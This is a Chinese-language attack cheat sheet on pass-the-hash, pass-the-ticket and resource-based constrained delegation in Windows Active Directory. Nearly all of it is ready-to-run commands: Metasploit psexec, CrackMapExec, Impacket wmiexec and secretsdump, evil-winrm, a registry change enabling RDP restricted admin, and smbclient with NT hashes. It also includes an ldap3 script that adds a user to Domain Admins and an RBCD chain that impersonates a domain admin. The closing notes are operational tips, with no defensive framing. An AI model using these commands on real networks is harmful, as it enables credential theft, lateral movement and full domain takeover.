传递哈希的另类用法(pth)
字数 689 2025-08-18 11:36:36
传递哈希(PTH)的多种利用方式详解
1. 传统PTH方法
1.1 Metasploit中的PTH
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
1.2 CrackMapExec工具
cme smb 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79 -d domain.local
1.3 Impacket工具集
wmiexec.py domain.local/user@10.0.0.20 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
2. WinRM传递哈希
2.1 使用evil-winrm
ruby evil-winrm.rb -i 10.0.0.20 -u user -H BD1C6503987F8FF006296118F359FA79
2.2 适用场景
- SMB端口关闭或被终端保护阻止时
- 使用5985(HTTP)或5986(HTTPS)端口
3. RDP传递哈希
3.1 启用受限管理模式
cme smb 10.0.0.200 -u Administrator -H 8846F7EAEE8FB117AD06BDD830B7586C -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
3.2 使用xfreerdp连接
xfreerdp /v:192.168.2.200 /u:Administrator /pth:8846F7EAEE8FB117AD06BDD830B7586C
4. SMBClient传递哈希
4.1 基本用法
smbclient //10.0.0.30/Finance -U user --pw-nt-hash BD1C6503987F8FF006296118F359FA79 -W domain.local
4.2 适用场景
- 访问非管理权限的文件共享
- 需要类似FTP的交互式界面
5. LDAP传递哈希
5.1 获取计算机账户哈希
secretsdump.py ituser@10.0.0.40 -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
5.2 使用ldap3进行LDAP操作
import ldap3
user = 'DOMAIN\\EXCHANGE$'
password = 'aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248'
server = ldap3.Server('DOMAIN.LOCAL')
connection = ldap3.Connection(server, user=user, password=password, authentication=NTLM)
connection.bind()
from ldap3.extend.microsoft.addMembersToGroups import ad_add_members_to_groups as addUsersInGroups
user_dn = 'CN=IT User,OU=Standard Accounts,DC=domain,DC=local'
group_dn = 'CN=Domain Admins,CN=Users,DC=domain,DC=local'
addUsersInGroups(connection, user_dn, group_dn)
6. 传递票据(Pass the Ticket, PtT)
6.1 获取Kerberos票据
python3 getTGT.py -hashes aad3b435b51404eeaad3b435b51404ee:B65039D1C0359FA797F88FF06296118F domain.local/user
6.2 设置票据环境
cp user.ccache /tmp/krb5cc_0
export KRB5CCNAME=/tmp/krb5cc_0
6.3 验证票据
klist
7. 挂载共享使用Kerberos票据
7.1 挂载命令
sudo mount -t cifs -o sec=krb5,vers=3.0 '//SERVER.DOMAIN.LOCAL/SHARE' /mnt/share
8. SSH使用Kerberos票据
8.1 SSH连接
ssh -o GSSAPIAuthentication=yes user@domain.local
8.2 设置票据
cp user.ccache /tmp/krb5cc_1045
9. 基于资源的约束委派(RBCD)攻击链
9.1 获取计算机账户哈希
secretsdump.py ituser@PC01.domain.local -hashes aad3b435b51404eeaad3b435b51404ee:BD1C6503987F8FF006296118F359FA79
9.2 修改msDS-AllowedToActOnBehalfOfOtherIdentity属性
python3 rbcd.py -u PC01$ -H aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -t 'CN=PC02,CN=Computers,DC=domain,DC=local' -d domain.local -c 'CN=PC01,CN=Computers,DC=domain,DC=local' -l DC1.domain.local
9.3 获取服务票据
getST.py -spn cifs/PC02 -hashes aad3b435b51404eeaad3b435b51404ee:6216d3268ba7634e92313c8b60293248 -impersonate DA domain.local/PC01\$
关键注意事项
- 使用Kerberos身份验证时,必须使用目标的DNS名称而非IP地址
- 受限管理模式默认禁用,需要先通过其他方式启用
- Linux系统需要正确配置Kerberos环境
- 票据文件需要放置在正确的路径(/tmp/krb5cc_UID)
- 时间同步对Kerberos认证至关重要